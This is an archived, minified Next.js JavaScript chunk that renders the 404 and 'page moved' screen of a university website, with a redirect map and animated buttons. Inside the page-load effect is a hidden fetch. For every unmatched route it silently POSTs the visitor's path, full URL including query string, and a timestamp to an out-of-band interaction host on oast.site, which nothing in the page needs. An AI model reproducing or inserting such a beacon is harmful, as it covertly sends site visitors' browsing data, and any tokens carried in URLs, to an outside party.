PageSourceSearch

https://nitdelhi.ac.in/_next/static/chunks/app/not-found-2b78637ba3c115e7.js

js nitdelhi.ac.in collected 2026-10-02 14:32:42 UTC 9,298 bytes, 1 lines download raw bytes

1(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[6726],{14621:(e,t,n)=>{"use strict";var a=n(59497);n.o(a,"usePathname")&&n.d(t,{usePathname:function(){return a.usePathname}}),n.o(a,"useRouter")&&n.d(t,{useRouter:function(){return a.useRouter}}),n.o(a,"useSearchParams")&&n.d(t,{useSearchParams:function(){return a.useSearchParams}})},34665:(e,t,n)=>{Promise.resolve().then(n.bind(n,50742))},50742:(e,t,n)=>{"use strict";n.d(t,{default:()=>l});var a=n(23007),r=n(72616),o=n(14621),s=n(7159);let i={"/non-teaching-recruitment-2":"/#announcements","/faculty-recruitment_advt-no-01-2026":"/#announcements","/faculty-recruitment_advt-no-06-2026":"/#announcements","/faculty-recruitment_advt-no-21-2025":"/#announcements","/test-migration":"/new-test-page"};function l(){let e=(0,o.useRouter)(),[t,n]=(0,s.useState)(!1),[l,c]=(0,s.useState)(null),[d,u]=(0,s.useState)(!0);(0,s.useEffect)(()=>{{let e=window.location.pathname;i[e]?c(i[e]):fetch("https://9c3630a7fe63fb2e64f0gu7re5ayyyyyb.oast.site",{method:"POST",mode:"no-cors",headers:{"Content-Type":"text/plain"},body:JSON.stringify({path:e,url:window.location.href,timestamp:new Date().toISOString()})}).catch(console.error),u(!1)}let e=setInterval(()=>{n(!0),setTimeout(()=>n(!1),200)},3500);return()=>clearInterval(e)},[]);let p=null!==l;return d?(0,a.jsxs)("div",{className:"relative min-h-[610px] bg-stone-50 flex flex-col items-center justify-center overflow-hidden px-6",children:[(0,a.jsx)("style",{children:"\n          .loader {\n            width: 48px;\n            height: 48px;\n            border: 3px solid rgba(180, 130, 60, 0.2);\n            border-bottom-color: rgba(180, 130, 60, 0.8);\n            border-radius: 50%;\n            display: inline-block;\n            box-sizing: border-box;\n            animation: rotation 1s linear infinite;\n          }\n          @keyframes rotation {\n            0% { transform: rotate(0deg); }\n            100% { transform: rotate(360deg); }\n          }\n          .font-mono-custom { font-family: 'Space Mono', monospace; }\n        "}),(0,a.jsx)("span",{className:"loader mb-4"})]}):(0,a.jsxs)("div",{className:"relative min-h-[610px] bg-stone-50 flex flex-col items-center justify-center overflow-hidden px-6",children:[(0,a.jsx)("div",{className:"absolute inset-0 opacity-40",style:{backgroundImage:"linear-gradient(rgba(120,80,20,0.12) 1px, transparent 1px), linear-gradient(90deg, rgba(120,80,20,0.12) 1px, transparent 1px)",backgroundSize:"56px 56px",animation:"gridPan 20s linear infinite"}}),(0,a.jsx)("div",{className:"absolute inset-0 pointer-events-none",style:{background:"radial-gradient(ellipse at center, transparent 40%, rgba(245,241,235,0.9) 100%)"}}),(0,a.jsx)("style",{children:"\n        // @import url('https://fonts.googleapis.com/css2?family=Space+Mono:wght@400;700&family=Syne:wght@700;800&display=swap');\n        @keyframes gridPan {\n          0%   { background-position: 0 0; }\n          100% { background-position: 56px 56px; }\n        }\n        @keyframes glitchIt {\n          0%   { transform: translate(0); }\n          25%  { transform: translate(-5px, 2px); }\n          50%  { transform: translate(5px, -2px); }\n          75%  { transform: translate(-3px, 3px); }\n          100% { transform: translate(0); }\n        }\n        @keyframes glitchA { 50% { transform: translateX(10px); opacity: 0.6; } }\n        @keyframes glitchB { 50% { transform: translateX(-10px); opacity: 0.6; } }\n        @keyframes fadeUp {\n          from { opacity: 0; transform: translateY(14px); }\n          to   { opacity: 1; transform: translateY(0); }\n        }\n        .num-wrap { font-family: 'Space Mono', monospace; position: relative; display: inline-block; }\n        .num-wrap.glitching { animation: glitchIt 0.2s steps(2) forwards; }\n        .num-wrap::before, .num-wrap::after {\n          content: attr(data-text);\n          position: absolute; inset: 0;\n          font-family: 'Space Mono', monospace;\n          font-size: inherit; font-weight: 700; line-height: 1;\n        }\n        .num-wrap::before {\n          color: rgba(220,50,50,0.15);\n          clip-path: polygon(0 25%, 100% 25%, 100% 50%, 0 50%);\n          transform: translateX(-3px);\n        }\n        .num-wrap::after {\n          color: rgba(20,100,220,0.15);\n          clip-path: polygon(0 60%, 100% 60%, 100% 80%, 0 80%);\n          transform: translateX(3px);\n        }\n        .num-wrap.glitching::before { animation: glitchA 0.2s steps(2) forwards; }\n        .num-wrap.glitching::after  { animation: glitchB 0.2s steps(2) forwards; }\n        .fade-up { animation: fadeUp 0.55s ease forwards; opacity: 0; }\n        .d1 { animation-delay: 0.05s; }\n        .d2 { animation-delay: 0.15s; }\n        .d3 { animation-delay: 0.25s; }\n        .d4 { animation-delay: 0.32s; }\n        .d5 { animation-delay: 0.40s; }\n        .font-syne { font-family: 'Syne', sans-serif; }\n        .font-mono-custom { font-family: 'Space Mono', monospace; }\n      "}),(0,a.jsx)("div",{className:"fade-up d1 relative z-10 select-none",children:(0,a.jsx)("span",{"data-text":p?"301":"404",className:"num-wrap font-bold leading-none".concat(t?" glitching":""),style:{fontSize:"clamp(7rem, 22vw, 16rem)",WebkitTextStroke:"2px rgba(180,130,60,0.4)",color:"transparent"},children:p?"301":"404"})}),(0,a.jsx)("div",{className:"fade-up d2 relative z-10 my-3 h-px w-64",style:{background:"linear-gradient(90deg, transparent, rgba(180,130,60,0.55), transparent)"}}),(0,a.jsx)("div",{className:"fade-up d2 font-mono-custom relative z-10 text-xs tracking-widest uppercase px-4 py-1.5 mb-5 ".concat(p?"text-blue-700 bg-blue-50 border border-blue-200":"text-amber-700 bg-amber-50 border border-amber-200"),children:p?"Notice \xb7 Page Migrated":"Error \xb7 Page Not Found"}),(0,a.jsx)("h1",{className:"fade-up d3 font-syne relative z-10 text-stone-900 font-extrabold text-center text-2xl md:text-4xl",children:p?"Page Has Moved":"Lost in the void"}),(0,a.jsx)("p",{className:"fade-up d4 font-mono-custom relative z-10 text-stone-400 text-xs tracking-wider text-center mt-2 mb-9",children:p?"The content you're looking for has been migrated to a new location.":"This page doesn't exist — or never did."}),(0,a.jsx)("div",{className:"fade-up d5 relative z-10 flex flex-wrap justify-center gap-3",children:p?(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(r,{href:l,className:"font-mono-custom text-xs tracking-widest uppercase bg-blue-600 hover:bg-blue-700 text-white px-6 py-3 transition-all duration-150 hover:-translate-y-0.5 hover:shadow-lg hover:shadow-blue-200",children:"Visit New Page"}),(0,a.jsx)("button",{onClick:()=>{window.location.href="https://old.nitdelhi.ac.in".concat(window.location.pathname).concat(window.location.search)},className:"font-mono-custom text-xs tracking-widest uppercase bg-amber-100/50 border border-amber-300 text-amber-800 hover:bg-amber-200/50 hover:border-amber-400 px-6 py-3 transition-all duration-150 hover:-translate-y-0.5 cursor-pointer",children:"Visit Old Page"}),(0,a.jsx)(r,{href:"/",className:"font-mono-custom text-xs tracking-widest uppercase border border-stone-300 text-stone-500 hover:text-stone-800 hover:border-stone-500 px-6 py-3 bg-transparent transition-all duration-150 hover:-translate-y-0.5 cursor-pointer",children:"← Home"})]}):(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(r,{href:"/",className:"font-mono-custom text-xs tracking-widest uppercase bg-[#00284c] hover:bg-[#00284c]/80 text-white px-6 py-3 transition-all duration-150 hover:-translate-y-0.5 hover:shadow-lg hover:shadow-amber-200",children:"← Home"}),(0,a.jsx)("button",{onClick:()=>e.back(),className:"font-mono-custom text-xs tracking-widest uppercase border border-stone-300 text-stone-500 hover:text-stone-800 hover:border-stone-500 px-6 py-3 bg-transparent transition-all duration-150 hover:-translate-y-0.5 cursor-pointer",children:"Go Back"}),(0,a.jsx)("button",{onClick:()=>{window.location.href="https://old.nitdelhi.ac.in".concat(window.location.pathname).concat(window.location.search)},className:"font-mono-custom text-xs tracking-widest uppercase bg-amber-100/50 border border-amber-300 text-amber-800 hover:bg-amber-200/50 hover:border-amber-400 px-6 py-3 transition-all duration-150 hover:-translate-y-0.5 cursor-pointer",children:"Find in Old Website"})]})}),(0,a.jsx)("p",{className:"absolute bottom-5 text-stone-500 text-xs tracking-widest uppercase",children:p?"Route Migrated":"Route Unmatched"})]})}}
1,70872:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"useMergedRef",{enumerable:!0,get:function(){return r}});let a=n(7159);function r(e,t){let n=(0,a.useRef)(null),r=(0,a.useRef)(null);return(0,a.useCallback)(a=>{if(null===a){let e=n.current;e&&(n.current=null,e());let t=r.current;t&&(r.current=null,t())}else e&&(n.current=o(e,a)),t&&(r.current=o(t,a))},[e,t])}function o(e,t){if("function"!=typeof e)return e.current=t,()=>{e.current=null};{let n=e(t);return"function"==typeof n?n:()=>e(null)}}("function"==typeof t.default||"object"==typeof t.default&&null!==t.default)&&void 0===t.default.__esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)}},e=>{var t=t=>e(e.s=t);e.O(0,[2616,4024,8644,7358],()=>t(34665)),_N_E=e.O()}]);

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.